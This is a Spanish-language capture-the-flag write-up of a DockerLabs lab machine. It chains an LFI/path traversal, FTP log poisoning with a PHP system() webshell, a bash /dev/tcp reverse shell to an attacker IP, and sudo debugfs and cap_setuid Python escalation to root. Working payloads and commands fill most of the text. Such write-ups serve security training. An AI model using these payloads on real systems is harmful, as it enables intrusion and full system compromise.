
Dockerlabs - Hannah Coffe
- Hacking ético
- August 5, 2026
Table of Contents
Herramientas y técnicas
Herramientas
- Nmap
- FFUF
- Netcat
- GTFOBins
- curl / navegador
Técnicas
- Path Traversal / LFI
- Log Poisoning
- RCE
- Reverse Shell
- Linux Capabilities
- SUID
- Privilege Escalation
Fase 1. Reconocimiento
Nmap
El paso básico, listar posibles servicios expuestos, al ser un laboratorio uso un escaneo agresivo.
nmap -sC -sV -sS -p- --min-rate 5000 -T4 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 03:42 +0200
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http Apache httpd 2.4.68 ((Debian))
|_http-server-header: Apache/2.4.68 (Debian)
|_http-title: Hannah's Coffee
MAC Address: EA:8C:B3:67:FE:A6 (Unknown)
Service Info: OS: Unix
Finalizado el escaneo se muestran dos servicios. HTTP(80) y FTP(21).
Fase 2. Enumeración Inicial
En esta fase las evidencias son escasas ya que ni dirb ni whatweb aportan información valiosa y al ser un servidor sencillo con pocos servicios en un inicio no detecto mucho más de donde rascar:
Observación en navegador
En una primera inspacción, una vez introducida la IP en el navegador se aprecia que simplemente es una web estática sin ninguna posible interactuación con esta.
Pero en un segundo vistazo observo con detenimiento la URL http://172.17.0.2/index.php?page=home, ese page=X denota una posible vulnerabilidad de file inclision (LFI).
Fase 3. Explotación
Ffuf
En este punto aprendí primeramente que hay que probar más de una wordlist porque tuve que intentar varias hasta finalmente obtuve resultado.
Sobre la URL anterior aplico la herramienta ffuf devolviendo el parámetro studio.
(he filtrado por líneas porque la mayoría daba el mismo valor, por lo que quito lo repetitivo para encontrar lo inusual)
ffuf -c -u "http://172.17.0.2/index.php?FUZZ=value" -w /usr/share/wordlists/wfuzz/general/megabeast.txt -fl 30
[...]
studio [Status: 200, Size: 637, Words: 145, Lines: 25, Duration: 0ms]

Ahora que sé que el parámetro studio proporciona una salida diferente al baseline, compruebo si permite proporcionar rutas relativas, de nuevo con .
La mayoría de los payloads devolvían la respuesta estándar de 637 bytes. Al filtrar mediante -fs 637, quedan únicamente las respuestas cuyo contenido difiere del baseline.
Las respuestas de /etc/passwd devuelven 1896 bytes y 50 líneas, constituyendo una anomalía clara y repetible. Esto permite inferir que el parámetro está siendo utilizado para resolver una ruta local.
ffuf -c -u "http://172.17.0.2/index.php?studio=FUZZ" -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt -fs 637
Obtengo la salida:
- ../../../../../../../../../../../../etc/hosts [Status: 200, Size: 809, Words: 147, Lines: 32, Duration: 1ms]
- /./././././././././././etc/passwd [Status: 200, Size: 1896, Words: 154, Lines: 50, Duration: 1ms]
- ../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1896, Words: 154, Lines: 50, Duration: 3766ms]
- /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1896, Words: 154, Lines: 50, Duration: 4771ms]
- /../../../../../../../../../../etc/passwd [Status: 200, Size: 1896, Words: 154, Lines: 50, Duration: 4774ms]
Tras esta exploración ha quedado patente la vulnerabilidad. Si ahora pruebo la URL con uno de los valores anteriores http://172.17.0.2/index.php?studio=../../../../../../../../../../../../etc/passwd y obtengo:

La página muestra unas pistas importantes:
- ftp:x:101:103:ftp daemon:/srv/ftp:/usr/sbin/nologin
- hannahftp:x:1000:1000::/home/hannahftp:/bin/sh
- hannah:x:1001:1001::/home/hannah:/bin/bash
Estas tres remarcadas en negrita unidas al ftp encontrado con nmap son una potencial pista para seguir recopilando información y evidencias.
Log poisoning y RCE
La cuestión ahora es, si el parámetro studio permite leer ficheros, tal vez también permita funciones de ejecución.
Voy a intentar explotar la vulnerabilidad mediante Log poisoning. Desde el FTP al intentar iniciar sesión acertada o no, esta acción va a quedar registrado en el fichero /var/log/vsftpd.log.
Aqui se da una cadena de eventos.
- vsftpd registra los intentos de loging. Registra información controlada por el cliente.
- El fichero /var/log/vsftpd.log también queda expuesto en la URL.
- Unidos estos dos conceptos, la cadena permite introducir código php en el intento de log de vsftpd y php interpretará esa cadena
ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:paguebe): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Con esto le he dicho que desde la url http://172.17.0.2/index.php?studio=../../../../../../../../var/log/vsftpd.log&cmd=id puedo leer el log y además inyectar y ver como se ha producido la inyección cogiendo

El flujo sería:
inyectar (mediante el ftp) -> log -> incluir comando en LFI -> Interpreta código
Confirmado la explotación de LFI + RCE, procedo con el siguiente paso, la reverse shell.
Reverse shell
A título personal me he quedado con ganas de probar penelope, pero he optado por el camino tradicional.
Primer paso poner puerto en escucha.
nc -lvnp 4444
El comando para la reverse shell que he usado es:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
como la explotación se hace mediante url, lanzo la reverse shell en el navegador ayudado de Cyberchef

http://172.17.0.2/index.php?studio=../../../../../../../../var/log/vsftpd.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/4444%200%3E%261%27
Una vez explotada el LFI + RCE en la URL en la terminal se inicia la shell

La reverse shell inicial no proporciona una TTY real. Se realiza un upgrade o estabilizacion de la terminal para obtener un comportamiento más cómodo y conocido.
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=bash
Enumeración interna
Una vez obtenida la shell como wwww-data comienzo la enumeración orientada a escalada de privilegios.
- identidad y grupos;
- permisos sudo;
- binarios SUID;
- Linux capabilities;
- procesos en ejecución;
- tareas programadas.
www-data@08cba8f1a0b5:/var/www/html$ whoami
www-data
www-data@08cba8f1a0b5:/var/www/html$ sudo -l
Matching Defaults entries for www-data on 08cba8f1a0b5:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on 08cba8f1a0b5:
(hannah) NOPASSWD: /sbin/debugfs -w /opt/hannah_disk.img
www-data@08cba8f1a0b5:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo

De esta información lo interesante es la saluda que nos proporciona el sudo -l:
(hannah) NOPASSWD: /sbin/debugfs -w /opt/hannah_disk.img
Esto indica que www-data puede ejecutar debugfs como el usuario hannah sin necesidad de introducir contraseña sobre hanna_disk.img y en modo escritura.
Escalada de privilegios
Con la pista anterior accedo al usuario hannah, apoyándome en una consulta a GTFOBins.
www-data@08cba8f1a0b5:/var/www/html$ sudo -u hannah /sbin/debugfs -w /opt/hannah_disk.img
debugfs 1.47.2 (1-Jan-2025)
debugfs: !/bin/bash
hannah@08cba8f1a0b5:/var/www/html$
Una vez que he conseguido acceso al usuario hannah, procedo a enumerar las capacidades de este usuario.
El sudo -l pide contraseña por lo que es una puerta cerrada.
hannah@08cba8f1a0b5:/var/www/html$ sudo -l
[sudo] password for hannah:
sudo: a password is required
hannah@08cba8f1a0b5:/var/www/html$ ls ~
user.txt
hannah@08cba8f1a0b5:/var/www/html$ cat ~/user.txt
dl{user_eedfcf739a076a72412c89a1354a4119}
En el directorio home del usuario encuentro la primera flag.
Al consultar las capabilities se obtiene una salida interesante:
hannah@08cba8f1a0b5:/var/www/html$ getcap -r / 2>/dev/null
/opt/priv-python cap_setuid=ep
De nuevo con esta información y una consultas a GTFOBins se consigue explotar esa vulnerabilidad que permite al ejecutable utilizar la capability CAP_SETUID para escalar privilegios hasta root.

hannah@08cba8f1a0b5:/var/www/html$ /opt/priv-python -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@08cba8f1a0b5:/var/www/html# whoami
root
root@08cba8f1a0b5:/var/www/html# id
uid=0(root) gid=1001(hannah) groups=1001(hannah)
root@08cba8f1a0b5:~# cd /root/
root@08cba8f1a0b5:/root# ls
root.txt
root@08cba8f1a0b5:/root# cat root.txt
dl{root_d5cc9d7538dc7c341cd96bba5a951520}
Conclusiones
La máquina presenta varias vulnerabilidades encadenadas:
- parámetro web susceptible de LFI;
- lectura arbitraria de archivos mediante Path Traversal;
- Log Poisoning mediante vsftpd;
- ejecución remota de comandos;
- reverse shell como
www-data; - abuso de
sudosobredebugfspara obtener una shell comohannah; - abuso de
CAP_SETUIDasignada a un intérprete Python para obtener UID 0.